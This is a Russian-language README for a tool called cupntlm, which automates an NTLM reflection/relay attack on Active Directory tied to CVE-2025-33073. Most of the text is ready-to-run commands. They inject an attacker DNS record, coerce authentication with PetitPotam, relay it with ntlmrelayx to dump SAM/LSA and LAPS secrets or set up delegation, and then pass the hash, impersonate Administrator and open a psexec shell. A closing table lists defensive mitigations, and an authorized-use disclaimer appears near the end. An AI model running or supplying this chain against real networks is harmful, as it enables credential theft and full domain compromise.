
cupntlm
CVE-2025-33073 — Обход NTLM-рефлексии через принуждение DNS
Инструмент для автоматизированной эксплуатации в средах Active Directory.
cupntlm автоматизирует цепочку атаки NTLM reflection/relay, эксплуатирующую CVE-2025-33073. Он объединяет в одном рабочем процессе инъекцию DNS-записей, принудительную аутентификацию (PetitPotam) и ретрансляцию NTLM. Инструмент поддерживает два режима работы в зависимости от объёма целей и требований к скрытности.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Предварительные требования в целевой сети:
| Библиотека | Установка |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # из impacket
├── dnstool.py # из krbrelayx
├── lib/ # вспомогательная библиотека krbrelayx
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Проверяет статус подписи SMB на целях и валидирует учётные данные домена перед выполнением атаки.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Создаёт уникальную DNS-запись для каждой цели, запускает принуждение по одной за раз и очищает записи между итерациями. Медленнее, но точнее и оставляет меньше шума.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Внедряет одну DNS-запись и держит ntlmrelayx запущенным непрерывно, последовательно перебирая все цели. Быстрее для больших диапазонов.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
Следующие шаги воспроизводят полную цепочку атаки вручную, без использования cupntlm.py. Полезно для понимания примитивов, отладки или адаптации к нестандартным средам.
Определите хосты, на которых подпись SMB отключена. Это ваши корректные цели для ретрансляции.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Или с помощью nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Ищите:
Message signing enabled but not required ← корректная цель для ретрансляции
Message signing enabled and required ← ретрансляция невозможна
Используйте dnstool.py для добавления A-записи в DNS домена, указывающей имя хоста на вашу машину. Когда цель разрешает это имя и проходит аутентификацию, запрос попадает на ваш ретранслятор.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # ваш IP атакующего
--type A \
10.0.0.1 # IP контроллера домена
Проверьте, что запись добавлена:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Запустите ntlmrelayx.py до запуска принуждения. Он будет ждать входящей аутентификации.
Ретрансляция на SMB — дамп SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Ретрансляция на LDAP — создание новой учётной записи машины (для RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Ретрансляция на LDAPS — дамп секретов домена:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Заставьте целевую машину аутентифицироваться на вашей внедрённой DNS-записи. PetitPotam использует интерфейс MS-EFSRPC — для незапатченных хостов учётные данные не требуются, для запатченных используйте действительные.
Без аутентификации (незапатченная цель):
python3 PetitPotam.py \
[dnsname] \ # ваш IP слушателя (должен совпадать с DNS-записью)
192.168.1.50 # целевой хост для принуждения
С аутентификацией (запатченная цель, требуются корректные учётные данные):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
На этом этапе принуждённый хост отправляет свою NTLM-аутентификацию на вашу машину → ntlmrelayx перехватывает и ретранслирует её.
В зависимости от выбранной цели ретрансляции на шаге 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py для получения сервисного билетаВсегда удаляйте внедрённые DNS-записи после завершения работы.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash с ретранслированной учётной записью машины:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Получение сервисного билета для S4U2Self (после RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Использование билета:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Мера контроля | Эффект |
|---|
Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований безопасности.
Не используйте его против систем, на тестирование которых у вас нет явного письменного разрешения.
| Инструмент | Назначение |
|---|
python3 | Среда выполнения |
pip3 | Менеджер пакетов Python |
git | Клонирование зависимостей |
wget | Загрузка файлов |
nmap | Определение подписи SMB |
netexec / crackmapexec | Проверка подписи SMB (опционально) |
| Включить подпись SMB (обязательная) на всех хостах | Блокирует ретрансляцию на SMB |
| Включить подпись LDAP + привязку каналов | Блокирует ретрансляцию на LDAP/LDAPS |
| Установить исправление MS-EFSRPC (KB5005413) | Блокирует неаутентифицированный PetitPotam |
| Ограничить создание DNS-записей только администраторами | Блокирует этап внедрения DNS |
| Отключить сетевую аутентификацию NTLM (предпочитать Kerberos) | Исключает весь класс атак |